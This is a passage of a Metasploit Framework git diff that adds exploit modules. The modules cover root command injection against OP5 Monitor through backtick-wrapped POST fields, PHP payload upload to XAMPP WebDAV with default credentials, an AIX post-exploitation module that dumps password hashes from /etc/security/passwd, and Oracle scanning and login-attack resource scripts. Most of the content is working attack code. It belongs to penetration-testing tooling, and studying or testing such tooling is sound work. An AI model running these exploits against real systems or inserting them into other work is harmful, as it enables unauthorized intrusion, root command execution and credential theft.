5.5.0, 5.5.1 are vulnerable. + }, + 'Author' => [ 'Peter Osterberg ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-0261'], + ['OSVDB', '78064'], + ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], + ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], + ['URL', 'http://secunia.com/advisories/47417/'], + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'BadChars' => '`\\|', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl ruby', + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jan 05 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]), + ], self.class) + end + + def check + print_status("Attempting to detect if the OP5 Monitor is vulnerable...") + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + # Try running/timing 'ping localhost' to determine is system is vulnerable + start = Time.now + + data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install'; + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + elapsed = Time.now - start + if elapsed >= 5 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install'; + + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + end +end \ No newline at end of file diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb new file mode 100644 index 0000000000..150956b8a4 --- /dev/null +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OP5 welcome Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary root command execution vulnerability in + OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5, + 5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable. + }, + 'Author' => [ 'Peter Osterberg ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-0262'], + ['OSVDB', '78065'], + ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], + ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], + ['URL', 'http://secunia.com/advisories/47417/'], + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'BadChars' => '`\\|', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl ruby', + } + }, + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jan 05 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]), + ], self.class) + end + + def check + print_status("Attempting to detect if the OP5 Monitor is vulnerable...") + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + # Try running/timing 'ping localhost' to determine is system is vulnerable + start = Time.now + + data = 'do=do=Login&password=`ping -c 10 127.0.0.1`'; + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + elapsed = Time.now - start + if elapsed >= 5 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + data = 'do=do=Login&password=`' + payload.encoded + '`'; + + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 10) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + end +end diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb new file mode 100644 index 0000000000..796d83bd5b --- /dev/null +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -0,0 +1,91 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize + super( + 'Name' => 'XAMPP WebDAV PHP Upload', + 'Description' => %q{ + This module exploits weak WebDAV passwords on XAMPP servers. + It uses supplied credentials to upload a PHP payload and + execute it. + }, + 'Author' => ['thelightcosine '$Revision$', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + ) + + register_options( + [ + OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), + OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), + OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), + OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) + ], self.class) + end + + + + def exploit + uri = build_path + print_status "Uploading Payload to #{uri}" + res,c = send_digest_request_cgi({ + 'uri' => uri, + 'method' => 'PUT', + 'data' => payload.raw, + 'DigestAuthUser' => datastore['RUSER'], + 'DigestAuthPassword' => datastore['RPASS'] + }, 25) + unless (res.code == 201) + print_error "Failed to upload file!" + return + end + print_status "Attempting to execute Payload" + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET' + }, 20) + end + + + + def build_path + if datastore['PATH'][0,1] == '/' + uri_path = datastore['PATH'].dup + else + uri_path = '/' + datastore['PATH'].dup + end + uri_path << '/' unless uri_path.ends_with?('/') + if datastore['FILENAME'] + uri_path << datastore['FILENAME'] + uri_path << '.php' unless uri_path.ends_with?('.php') + else + uri_path << Rex::Text.rand_text_alphanumeric(7) + uri_path << '.php' + end + return uri_path + end + +end + diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index ab392b2815..458cc67fb2 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '77387'], [ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ], [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ], - [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ] + [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ], + # The following clearifies why two people are credited for the discovery + [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf'] ], 'DefaultOptions' => { diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb new file mode 100644 index 0000000000..6f71f1f297 --- /dev/null +++ b/modules/post/aix/hashdump.rb @@ -0,0 +1,68 @@ +# $Id$ +## + +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' + + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Linux::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'AIX Gather Dump Password Hashes', + 'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System}, + 'License' => MSF_LICENSE, + 'Author' => ['thelightcosine '$Revision$', + 'Platform' => [ 'aix' ], + 'SessionTypes' => [ 'shell' ] + )) + + end + + + def run + if is_root? + passwd_file = read_file("/etc/security/passwd") + jtr = parse_aix_passwd(passwd_file) + store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File") + else + print_error("You must run this module as root!") + end + + end + + + def parse_aix_passwd(aix_file) + jtr_file = "" + tmp = "" + aix_file.each_line do |line| + username = line.match(/(\w+:)/) + if username + tmp = username[0] + end + hash = line.match(/password = (\w+)/) + if hash + tmp << hash[1] + jtr_file << "#{tmp}\n" + end + end + return jtr_file + end + + +end diff --git a/scripts/resource/oracle_login.rc b/scripts/resource/oracle_login.rc new file mode 100644 index 0000000000..1bd6658f0d --- /dev/null +++ b/scripts/resource/oracle_login.rc @@ -0,0 +1,66 @@ +# oracle_login.rc +# Author: nebulus + + + +hosts = {} +host_id_to_ip = {} + +# map hosts ip to host_id + +begin + framework.db.hosts.each do |host| + # don't really like having to do that but only way I could tie them together as notes were missing ip + host_id_to_ip[host.id] = host.address + end + rescue ActiveRecord::ConnectionNotEstablished + puts "DB not connected..." +# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out) +# self.run_single('db_connect ') +# puts "trying again..." +# retry + +end + +begin + framework.db.notes.each do |note| + if ( note.ntype == 'oracle_sid' ) + data = note.data + if(data =~ /PORT=(\d+), SID=(\S*)$/) + ip = host_id_to_ip[note.host_id] + port = "#{$1}" + sid = "#{$2}" + if(sid != '') + hosts["#{ip}"] = {'RPORT' => port, 'SID' => sid} + end + else + puts "Bad regexp (#{note.inspect})" + end + end + end + rescue ActiveRecord::ConnectionNotEstablished + puts "DB not connected..." +# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out) +# self.run_single('db_connect ') +# puts "trying again..." +# retry +end + +self.run_single("use auxiliary/admin/oracle/oracle_login") + +hosts.each do |rhost| + begin + self.run_single("set RHOST #{rhost[0]}") + self.run_single("set RPORT #{rhost[1]['RPORT']}") + self.run_single("set SID #{rhost[1]['SID']}") + self.run_single('exploit') + puts "DB not connected..." +# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out) +# self.run_single('db_connect ') +# puts "trying again..." +# retry + end + +end + + diff --git a/scripts/resource/oracle_sids.rc b/scripts/resource/oracle_sids.rc new file mode 100644 index 0000000000..471faa4037 --- /dev/null +++ b/scripts/resource/oracle_sids.rc @@ -0,0 +1,34 @@ +# oracle_sids.rc +# Author: nebulus + + + +hosts = [] + +begin + framework.db.services.each do |service| + if ( (service.port == 1521 or service.port == 1522 or service.port == 1526) and (service.name =~ /oracle/i) and service.state == 'open') + hosts << {'ip' => service.host.address, 'port' => service.port} + end + end + rescue ActiveRecord::ConnectionNotEstablished + puts "DB not connected..." +# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out) +# self.run_single('db_connect ') +# puts "trying again..." +# retry +end + + +self.run_single("use auxiliary/admin/oracle/sid_brute") + +hosts.each do |rhost| + + self.run_single("set RHOST #{rhost['ip']}") + self.run_single("set RPORT #{rhost['port']}") + self.run_single('set ConnectTimeout 5') + self.run_single('run') + sleep 1 +end + + diff --git a/scripts/resource/oracle_tns.rc b/scripts/resource/oracle_tns.rc new file mode 100644 index 0000000000..b9116b4d06 --- /dev/null +++ b/scripts/resource/oracle_tns.rc @@ -0,0 +1,28 @@ +# oracle_tns.rc +# Author: nebulus + + + +hosts = [ +'10.1.1.0/24', +'10.1.2.1', +'192.168.0.0/16' +] + +ports = ['1521', '1522', '1526'] + +self.run_single("use auxiliary/scanner/oracle/tnslsnr_version") + +hosts.each do |net| + ports.each do |port| + self.run_single("set RHOSTS #{net}") + self.run_single("set THREADS 128") + self.run_single("set RPORT #{port}") + self.run_single('set ConnectTimeout 5') + self.run_single('set VERBOSE false') + self.run_single('run') + sleep 1 + end +end + + diff --git a/scripts/resource/run_all_post.rc b/scripts/resource/run_all_post.rc index 517a7a50be..d8bcfdf677 100644 --- a/scripts/resource/run_all_post.rc +++ b/scripts/resource/run_all_post.rc @@ -1,3 +1,6 @@ +# run_all_post.rc +# Author: mubix + # This is a sample resource script demonstrating a technique of running # a single post module against several active sessions at once. The post # module should be the currently active module, with sessions from other